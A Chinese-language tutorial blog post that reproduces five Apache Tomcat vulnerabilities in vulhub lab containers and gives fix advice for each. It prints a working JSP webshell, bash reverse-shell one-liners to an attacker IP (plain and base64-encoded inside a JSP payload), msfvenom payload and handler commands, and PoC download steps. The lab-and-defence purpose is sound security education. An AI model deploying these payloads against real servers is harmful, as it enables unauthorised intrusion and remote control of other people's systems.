Tomcat漏洞详解

6 篇文章 0 订阅
6 篇文章 0 订阅

目录

Tomcat简介

任意文件写入(CVE-2017-12615)

漏洞原理

影响版本

漏洞复现

复现准备

漏洞检测

利用过程

修复建议

文件包含漏洞(CVE-2020-1938)

漏洞原理

影响版本

漏洞复现

复现准备

漏洞检测

漏洞利用

修复建议

弱口令和war远程部署漏洞

漏洞原理

影响版本

漏洞复现

复现准备

利用过程

远程代码执行(CVE-2019-0232)

漏洞原理

影响版本

漏洞复现

修复建议

session反序列化(CVE-2020-9484)

漏洞原理

影响版本

漏洞复现

修复建议

总结


Tomcat简介

Tomcat是一个开源的轻量级web应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。Tomcat是Apache服务器的拓展,Apache主要为HTML页面服务,Tomcat主要运行jsp页面和Servlet,也具有处理HTML页面的功能。

任意文件写入(CVE-2017-12615)

漏洞原理

由于配置不当,将配置文件`conf/web.xml`中的`readonly`设置为false(非默认配置),导致可以使用PUT方法上传任意文件,攻击者可以上传精心构造的包含任意代码的jsp的webshell文件(但也限制了jsp后缀的上传),jsp文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露,甚至可以获取服务器权限。

影响版本

主要的是Tomcat 7.0.0 - 7.0.81,8.5.19

漏洞复现

复现准备

进入对应目录,并启动靶场

cd /vulhub/tomcat/CVE-2017-12615
docker-compose up -d

查看靶场开放端口,8080

docker-compose ps

漏洞检测

可以使用扫描工具进行探测漏洞,网上有很多扫描漏洞工具,如Nessus、AWVS等。

我这里使用一个简单的扫描工具nacs,下载地址:nacs项目地址

./nacs -h 192.168.15.249

利用过程

1、抓包,修改数据包,上传正常txt文件

抓包查看到是一个GET方法,改成PUT方法并写入一个test.txt文件,可以看到返回201说明上传成功

进入docker容器查看一下是否写入成功

docker ps
docker exec -ti 容器ID bash
cd /usr/local/tomcat/webapps/ROOT
ls

 

上传jsp文件,但是发现直接上传jsp后缀的文件被拦截了,返回了404,所以这里需要进行jsp后缀名绕过。

jsp后缀名绕过有很多种方法,比如使用斜杠(Linux和Windows都适用);使用空格%20(对于Windows适用);使用::$DATA绕过(对于Windows适用)等等...

这里使用斜杠绕过:

给一个蚁剑jsp木马参考代码吧,连接密码是passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

上传成功后用蚁剑连接就可以获取服务器权限

修复建议

  • 配置readonly的值为True或注释掉参数,禁止使用PUT方法
  • 升级Tomcat版本

文件包含漏洞(CVE-2020-1938)

漏洞原理

Tomcat配置了两个Connector(默认),分别是HTTP和AJP。漏洞由于Tomcat AJP协议存在缺陷而导致攻击者可以通过构造特定的参数,读取/包含服务器webapp下的任意文件,如果有文件上传点,那攻击者可以上传图片马然后包含此文件,获取webshell。

AJP协议用于Tomcat和Apache HTTP Server之间的通信;HTTP用于客户端和服务端的通信;

AJP默认端口8009;HTTP默认端口8080

影响版本

Tomcat 6

Tomcat 7 - 7.0.10

Tomcat 8 - 8.5.51

Tomcat 9 - 9.0.31

漏洞复现

复现准备

进入对应目录,并开启靶场

cd /vulhub/tomcat/CVE-2020-1938
docker-compose up -d

查看靶场端口,8080

docker-compose ps

漏洞检测

使用POC进行漏洞检测,如果存在漏洞则可以查看webapps目录下的所有文件(任意读取)

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.15.249 -p 8009 -f /WEB-INF/web.xml

漏洞利用

利用文件上传然后反弹shell:

1、生成一个shell.txt文件,可以用msf生成也可以手动生成:

(1)使用手动生成:

bash -i >& /dev/tcp/192.168.15.249/4444 0>&1

#base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=

#然后变成
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

所以构造一个payload:

#shell.txt
<%    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("</pre>");%>

然后抓包上传到靶场,开启监听4444端口,然后再使用POC工具执行就可以得到反弹shell

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.15.249 -p 8009 -f shell.txt

(2)使用msf工具生成payload文件:

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.15.249 lport=4444 R > shell.txt 

 然后抓包上传到靶场,这里复制到docker容器内模拟文件上传

docker cp /home/kali/桌面/shell.txt db8b0f89097e:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt

然后进入容器内查看是否上传成功

然后开启msf监听

msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lport 4444
set lhost 192.168.15.249
run

然后访问shell.txt,是shell.txt发生文件包含

python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /WEB-INF/shell.txt 192.168.47.129

(我这里换了一个POC才成功,看的有的文章用上面那个POC也能成功,我也不知道为什么,一样下载:git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/)

修复建议

  • 升级版本
  • 直接关闭AJP Connector,或将其监听地址改为监听本机localhost
  • 使用AJP协议时设置认证凭证

弱口令和war远程部署漏洞

漏洞原理

在Tomcat8版本下默认进入后台的密码为tomcat/tomcat,未修改存在弱口令漏洞,造成未授权登入后台。进入后台后又允许上传war文件进行部署,造成远程war文件部署漏洞,获取服务器权限。

影响版本

全版本

漏洞复现

复现准备

进入对应目录,开启靶场环境

cd /vulhub/tomcat/tomcat8
docker-compose up -d

利用过程

访问后台管理页面,然后用账号密码登录

发现有一个上传war包的地方

利用msf生成war包(这里跟之前Weblogic弱口令复现是一样的)

msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xx.xxx lport=4444 -f war -o java.war

然后上传war包,开启msf监听

msfconsole	
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.xx.xxx
set LPORT 4444
exploit

最终访问http://ip:8080/java就可以触发payload,反弹shell

远程代码执行(CVE-2019-0232)

漏洞原理

该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞原因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

利用条件:

  • 系统为Windows
  • 启用了CGI Servlet(默认关闭)
  • 启用了enableCmdLineArguments(Tomcat9默认关闭)

影响版本

Tomcat 9.0.0.M1 - 9.0.17

Tomcat 8.5.0 - 8.5.39

Tomcat 7.0.0 - 7.0.93

漏洞复现

在vulhub没有环境,所以就没有进行复现。如果感兴趣的可以看看这篇参考文章:Tomcat 远程代码执行/提权漏洞(CVE-2019-0232)复现_tomcat7 enablecmdlinearguments-CSDN博客

修复建议

  • 禁用enableCmdLineArguments参数
  • 升级版本

session反序列化(CVE-2020-9484)

漏洞原理

当Tomcat使用了自带session同步功能时且使用了不安全的配置(没有使用EnceypthInterceptor),会去读取session文件,然后形成反序列化漏洞。攻击者通过精心构造的数据包,可以对使用了自带session同步功能的Tomcat服务器进行攻击。

利用条件:

  • tomcat必须启用session持久化功能FileStore
  • tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
  • 在服务器上存在已知路径文件内容可控

影响版本

  • Tomcat: 10.0.0-M1 - 10.0.0-M4
  • Tomcat: 9.0.0.M1 - 9.0.34
  • Tomcat: 8.5.0 - 8.5.54
  • Tomcat: 7.0.0 - 7.0.103

漏洞复现

在vulhub没有环境,所以就没有进行复现。如果感兴趣的可以看看这篇参考文章:

CVE-2020-9484 Tomcat Session 反序列化复现-CSDN博客

修复建议

  • 升级版本
  • 配置WAF,过滤掉../之类字符串
  • 不适用session持久化功能FileStore

总结

  • Tomcat是一种轻量级的web服务器,主要负责运行jsp和Servlet
  • 具有任意文件写入漏洞:主要影响7.0-7.8左右,原因是因为配置不当问题(conf/web.xml文件的readonly参数定义为false),导致可以使用PUT方法进行任意文件上传。jsp绕过方法有斜杠绕过、空格绕过和::$DATA绕过(后两者都需要在Windows下)
  • 具有文件包含漏洞:主要影响6和8版本,7和9版本有少数;原因是因为AJP协议存在缺陷而导致攻击者可以构造任意参数来进行任意文件包含和读取文件
  • 具有弱口令漏洞:主要影响8全版本;原因是因为Tomcat的默认密码是tomcat/tomcat,如果没有修改就可以进行弱口令登录
  • 具有远程代码执行漏洞:主要影响7、8、9的部分版本,只存在Windows系统上;原因是因为CGI_Servlet的输入验证错误导致可以执行任意操作命令
  • 具有session反序列化漏洞:主要一下7、8、9、20的部分版本;原因是因为开启了session持久化功能,就会去读取session文件进行反序列化操作,导致反序列化漏洞(也要知道可控文件夹路径才能利用漏洞,因为要上传恶意文件)。
  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值